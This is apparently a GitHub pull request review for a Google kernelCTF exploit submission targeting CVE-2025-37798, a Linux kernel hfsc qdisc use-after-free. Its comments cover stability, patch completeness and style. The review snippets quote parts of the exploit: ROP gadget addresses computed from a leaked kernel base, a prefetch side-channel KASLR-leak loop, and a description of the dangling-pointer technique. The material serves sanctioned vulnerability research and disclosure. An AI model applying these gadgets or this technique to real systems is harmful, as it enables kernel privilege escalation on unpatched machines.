Add kernelCTF CVE-2025-37798_lts_cos_mitigation#301
Add kernelCTF CVE-2025-37798_lts_cos_mitigation#301phlaie wants to merge 7 commits intogoogle:masterfrom
Conversation
|
LTS only had 70% stability, which would make it ineligible for the stability bonus. I am running the tests again to see if stability will be better this time. |
|
Thanks for the catch. I think there might be some issues with the prefetch sidechannel (used to get KASLR leak) when on Github Actions runner. I'll check again. |
|
Hey! If I compile the 6.6 stable version of the patch commit (https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=829c49b6b2ff45b043739168fd1245e4e1a91a30) with KASAN and run the exploit, it still crashes the kernel just earlier at a different place: Can you help us understand why is that? Is this patch commit complete and fixes the vulnerability properly? (This blocks the payout of the first half of the reward.) Logs after the patch: Compared with before the patch (parent commit of 829c49b - https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=24e6280cdd7f8d01fc6b9b365fb800c2fb7ea9bb): |
|
@koczkatamas I've fixed the reliability issues stemming from the prefetch side-channel leak. Let me get back to you on the KASAN crash report. |
|
@koczkatamas Thanks for the report. To resolve the KASAN crash, you have to apply the rest of the patches in the patchset as well. The specified commit (I can reproduce the KASAN error when applying only the single commit) |
|
Thanks! I could verify using the upstream commit which contains all the patches. |
matrizzo
left a comment
There was a problem hiding this comment.
Hi, thanks for your submission. Please have a look at our style guide and the comments and make sure that you adjust your exploits to follow them.
| #include <linux/net_tstamp.h> | ||
| #include <linux/socket.h> | ||
| #include <linux/udp.h> | ||
| #include <arpa/inet.h> |
There was a problem hiding this comment.
The header <arpa/inet.h> is already included at line 5 and can be removed.
https://google.github.io/security-research/kernelctf/style_guide#unused-code
| #include <libnftnl/object.h> | ||
| #include <linux/if_packet.h> | ||
| #include <net/ethernet.h> /* the L2 protocols */ | ||
| #include <sys/socket.h> |
There was a problem hiding this comment.
The header <sys/socket.h> is already included at line 3 and can be removed.
https://google.github.io/security-research/kernelctf/style_guide#unused-code
| #include <linux/rtnetlink.h> | ||
| #include <sys/resource.h> | ||
| #include <linux/if.h> | ||
| #include <linux/keyctl.h> |
There was a problem hiding this comment.
The header <linux/keyctl.h> is already included at line 10 and can be removed.
https://google.github.io/security-research/kernelctf/style_guide#unused-code
| #include <byteswap.h> | ||
| #include <linux/netfilter/ipset/ip_set.h> | ||
| #include <linux/netfilter/ipset/ip_set_bitmap.h> | ||
| #include <err.h> |
There was a problem hiding this comment.
The header <err.h> is already included at line 12 and can be removed.
https://google.github.io/security-research/kernelctf/style_guide#unused-code
| #define JOP_GADGET (0xffffffff81d9b83c - 0xffffffff81000000 + g_kernel_base) | ||
| // 0xffffffff81085c9e: pop rsp; pop r15; ret; | ||
| #define ROP_GADGET (0xffffffff81085c9e - 0xffffffff81000000 + g_kernel_base) | ||
| #define POP_RDI (0xffffffff81ddb03d - 0xffffffff81000000 + g_kernel_base) |
There was a problem hiding this comment.
Add a comment with the full ROP gadget instruction (e.g., // 0x... : pop rdi ; ret) next to the #define.
https://google.github.io/security-research/kernelctf/style_guide#rop-chains
|
|
||
| > This code is encapsulated in `overflow_qlen()`. | ||
|
|
||
| The rest of the exploit is similar to [CVE-2025-37798 exploit](). If we delete class 1:1 now, there will be dangling pointer in the hfsc qdisc's vt tree. Recall that the exploit involves `hfsc_dequeue()` accessing the dangling vt tree pointer to the freed class. |
There was a problem hiding this comment.
The link seems to be missing here.
| close(memfd); | ||
|
|
||
| while (check_core() == 0) | ||
| usleep(100); // 0.1ms |
There was a problem hiding this comment.
All sleeps need a comment explaining what they do.
| #define QDISC_RESET (0xffffffff81e83860 - 0xffffffff81000000 + g_kernel_base) | ||
|
|
||
| #define POP_RDI (0xffffffff821f1a4d - 0xffffffff81000000 + g_kernel_base) | ||
| #define POP_RSI (0xffffffff8223c6f0 - 0xffffffff81000000 + g_kernel_base) | ||
| #define POP_RAX (0xffffffff8223f9a5 - 0xffffffff81000000 + g_kernel_base) | ||
| #define JMP_RAX (0xffffffff821f5fbe - 0xffffffff81000000 + g_kernel_base) | ||
| #define STRCPY (0xffffffff821bc6f0 - 0xffffffff81000000 + g_kernel_base) |
There was a problem hiding this comment.
All ROP gadgets should include the disassembly of the instructions at the gadget's address https://google.github.io/security-research/kernelctf/style_guide#rop-chains
| #define STEP_INTEL 0x0000000001000000ull | ||
| while (1) | ||
| { | ||
| uint64_t bases[7] = {0}; |
There was a problem hiding this comment.
This should be #defined to NUM_TRIALS like in the AMD code.
| /*requests*/ | ||
| char *PWN_DST_IP = "127.0.0.1"; | ||
| int _send_req(int priority, int no_block, const char *payload, const size_t payload_len) | ||
| { | ||
| int sock; | ||
| struct sockaddr_in server; | ||
|
|
||
| // Create UDP socket | ||
| sock = socket(AF_INET, SOCK_DGRAM, 0); | ||
| if (sock < 0) | ||
| { | ||
| perror("Failed to create socket"); | ||
| return 1; | ||
| } | ||
|
|
||
| if (setsockopt(sock, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)) < 0) | ||
| { | ||
| perror("Failed to set socket priority"); | ||
| close(sock); | ||
| return 1; | ||
| } | ||
|
|
||
| if (!no_block) | ||
| { | ||
| // Set socket to non-blocking mode | ||
| int flags = fcntl(sock, F_GETFL, 0); | ||
| if (flags < 0) | ||
| { | ||
| perror("Failed to get socket flags"); | ||
| close(sock); | ||
| return 1; | ||
| } | ||
| if (fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) | ||
| { | ||
| perror("Failed to set socket to non-blocking"); | ||
| close(sock); | ||
| return 1; | ||
| } | ||
| } | ||
|
|
||
| // Configure server address | ||
| memset(&server, 0, sizeof(server)); | ||
| server.sin_family = AF_INET; | ||
| server.sin_port = htons(8888); | ||
| if (inet_pton(AF_INET, PWN_DST_IP, &server.sin_addr) <= 0) | ||
| { | ||
| perror("Invalid address"); | ||
| close(sock); | ||
| return 1; | ||
| } | ||
|
|
||
| // Send empty datagram | ||
| if (sendto(sock, payload, payload_len, 0, (struct sockaddr *)&server, sizeof(server)) < 0) | ||
| { | ||
| perror("Failed to send"); | ||
| close(sock); | ||
| return 1; | ||
| } | ||
|
|
||
| close(sock); | ||
| return 0; | ||
| } | ||
|
|
||
| int send_req(int priority) | ||
| { | ||
| return _send_req(priority, 0, "", 0); | ||
| } | ||
|
|
||
| int send_req_with_payload(int priority, const char *payload, const size_t payload_len) | ||
| { | ||
| return _send_req(priority, 0, payload, payload_len); | ||
| } | ||
| /*requests end*/ |
There was a problem hiding this comment.
This whole section seems to be unused and should be removed.
No description provided.